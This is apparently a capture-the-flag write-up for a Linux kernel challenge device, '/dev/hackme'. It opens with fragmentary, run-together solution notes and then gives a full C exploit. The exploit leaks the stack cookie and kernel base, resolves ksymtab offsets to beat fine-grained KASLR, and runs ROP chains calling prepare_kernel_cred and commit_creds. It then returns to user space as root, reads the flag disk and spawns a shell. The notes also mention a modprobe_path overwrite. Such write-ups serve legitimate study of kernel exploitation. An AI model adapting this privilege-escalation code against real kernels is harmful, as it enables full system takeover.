Expected steps of solving the task:
kallsyms
from a couple of runs and notice that some symbols are never randomized, especially ones at the start of the kernel image. Notice that one of the addresses on the stack is also not affected by fine-grainedness.ksymtab
symbols which are also not affected. Find out that they contain the real symbol offsets. Relevant structure: https://elixir.bootlin.com/linux/latest/source/include/linux/export.h#L60prepare_kernel_cred
, commit_creds
, return to user spaceWhat at least one team did:
/dev/sda
contents to /tmp/flag
./sbin/modprobe
in kernel memory to point to their scriptSome points:
Full exploit:
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <sys/wait.h>
#include <poll.h>
#include <unistd.h>
#include <stdlib.h>
int open_dev() {
int fd = open("/dev/hackme", O_RDWR);
if (fd < 0) {
printf("Failed to open device\n");
exit(-1);
}
return fd;
}
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_state(void)
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3;\n"
"pushfq\n"
"popq %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
:
: "memory");
printf("%lx %lx %lx %lx\n", user_cs, user_ss, user_rflags, user_sp);
}
void print_leak(unsigned long *leak, unsigned n) {
for (unsigned i = 0; i < n; ++i) {
printf("%u: %lx\n", i, leak[i]);
}
}
int global_fd;
enum current_state {
current_state_read_ksymtab_prepare_kernel_cred,
current_state_read_ksymtab_commit_creds,
current_state_escalate_privileges_stage1,
current_state_escalate_privileges_stage2,
};
unsigned long cookie;
unsigned long image_base;
unsigned long swapgs_restore_regs_and_ret_to_uspace; // start after popping rax
unsigned long zero_rax_ret; // xor eax, eax; ret;
unsigned long write_mem_ret; // mov qword ptr [rbx], rax; pop rbx; pop rbp; ret;
unsigned long pop_rax_ret; // pop rax; ret
unsigned long mov_eax_ind_rax_ret; // mov eax, qword ptr [rax + 0x10]; pop rbp; ret;
unsigned long pop_rdi_ret; // pop rdi; pop rbp; ret;
unsigned long ksymtab_prepare_kernel_cred;
unsigned long ksymtab_commit_creds;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
unsigned long creds_struct_va;
void compute_gadget_offsets(void) {
unsigned n = 40;
unsigned long leak[n];
ssize_t r = read(global_fd, leak, sizeof(leak));
cookie = leak[2];
image_base = leak[38] - 0xa157ULL;
swapgs_restore_regs_and_ret_to_uspace = image_base + 0x200f10UL + 19UL;
zero_rax_ret = image_base + 0x3b91UL;
write_mem_ret = image_base + 0x306dUL;
pop_rax_ret = image_base + 0x4d11UL;
mov_eax_ind_rax_ret = image_base + 0x4aaeUL;
pop_rdi_ret = image_base + 0x38a0UL;
ksymtab_prepare_kernel_cred = image_base + 0xf8d4fcUL;
ksymtab_commit_creds = image_base + 0xf87d90UL;
printf("Read: %zd\n", r);
print_leak(leak, n);
printf("cookie: %lx\n", cookie);
printf("image base: %lx\n", image_base);
}
enum current_state global_cstate;
void safe_exit(void);
void read_address(void) {
unsigned write_n = 50;
unsigned long ovw[write_n];
unsigned ti = 16;
ovw[ti++] = cookie;
ovw[ti++] = 0x0; // rbx
ovw[ti++] = 0x1; // r12
ovw[ti++] = 0x20000000; // rbp
ovw[ti++] = pop_rax_ret;
if (global_cstate == current_state_read_ksymtab_prepare_kernel_cred) {
ovw[ti++] = ksymtab_prepare_kernel_cred - 0x10;
} else if (global_cstate == current_state_read_ksymtab_commit_creds) {
ovw[ti++] = ksymtab_commit_creds - 0x10;
} else {
printf("State state\n");
exit(-1);
}
ovw[ti++] = mov_eax_ind_rax_ret;
ovw[ti++] = user_sp; // rbp
ovw[ti++] = swapgs_restore_regs_and_ret_to_uspace;
ovw[ti++] = 0xccdd;
ovw[ti++] = 0x33333;
ovw[ti++] = 0x666666;
ovw[ti++] = 0x666666;
ovw[ti++] = 0x666666;
ovw[ti++] = (unsigned long)safe_exit;
ovw[ti++] = user_cs;
ovw[ti++] = user_rflags;
ovw[ti++] = user_sp;
ovw[ti++] = user_ss;
ssize_t sz_wr = write(global_fd, ovw, sizeof(ovw));
printf("Written: %zd\n", sz_wr);
// Should never be reached
exit(-1);
}
void escalate_privileges(void) {
unsigned write_n = 50;
unsigned long ovw[write_n];
unsigned ti = 16;
ovw[ti++] = cookie;
ovw[ti++] = 0x0; // rbx
ovw[ti++] = 0x1; // r12
ovw[ti++] = 0x20000000; // rbp
if (global_cstate == current_state_escalate_privileges_stage1) {
ovw[ti++] = pop_rdi_ret;
ovw[ti++] = 0; // rdi
ovw[ti++] = user_sp; // rbp
ovw[ti++] = prepare_kernel_cred;
} else if (global_cstate == current_state_escalate_privileges_stage2) {
ovw[ti++] = pop_rdi_ret;
ovw[ti++] = creds_struct_va; // rdi
ovw[ti++] = user_sp; // rbp
ovw[ti++] = commit_creds;
}
ovw[ti++] = swapgs_restore_regs_and_ret_to_uspace;
ovw[ti++] = 0xccdd;
ovw[ti++] = 0x33333;
ovw[ti++] = 0x666666;
ovw[ti++] = 0x666666;
ovw[ti++] = 0x666666;
ovw[ti++] = (unsigned long)safe_exit;
ovw[ti++] = user_cs;
ovw[ti++] = user_rflags;
ovw[ti++] = user_sp;
ovw[ti++] = user_ss;
ssize_t sz_wr = write(global_fd, ovw, sizeof(ovw));
printf("Written: %zd\n", sz_wr);
// Should never be reached
exit(-1);
}
unsigned char flag_buf[256];
void safe_exit(void) {
unsigned long rax;
unsigned long rbp;
asm volatile(
"mov %%rax, %0\n\t"
: "=r"(rax), "=r"(rbp)
);
printf("returned form kernel: %lx\n", rax);
if (global_cstate == current_state_read_ksymtab_prepare_kernel_cred) {
prepare_kernel_cred = ksymtab_prepare_kernel_cred + (int)rax;
global_cstate = current_state_read_ksymtab_commit_creds;
read_address();
} else if (global_cstate == current_state_read_ksymtab_commit_creds) {
commit_creds = ksymtab_commit_creds + (int)rax;
printf("prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred);
printf("commit_creds : 0x%lx\n", commit_creds);
global_cstate = current_state_escalate_privileges_stage1;
escalate_privileges();
} else if (global_cstate == current_state_escalate_privileges_stage1) {
creds_struct_va = rax;
printf("creds_struct_va: 0x%lx\n", creds_struct_va);
global_cstate = current_state_escalate_privileges_stage2;
escalate_privileges();
} else if (global_cstate == current_state_escalate_privileges_stage2) {
if (getuid() == 0) {
// Somehow the state gets corrupted and cannot fork,
// but still reading the file seems to work.
printf("Flag:\n");
FILE *f = fopen("/dev/sda", "r");
fread(flag_buf, 1, sizeof(flag_buf), f);
puts(flag_buf);
system("/bin/sh");
} else {
printf("Weird, not root\n");
exit(-1);
}
}
}
int main() {
save_state();
global_fd = open_dev();
compute_gadget_offsets();
global_cstate = current_state_read_ksymtab_prepare_kernel_cred;
read_address();
printf("Should never be reached\n");
return 0;
}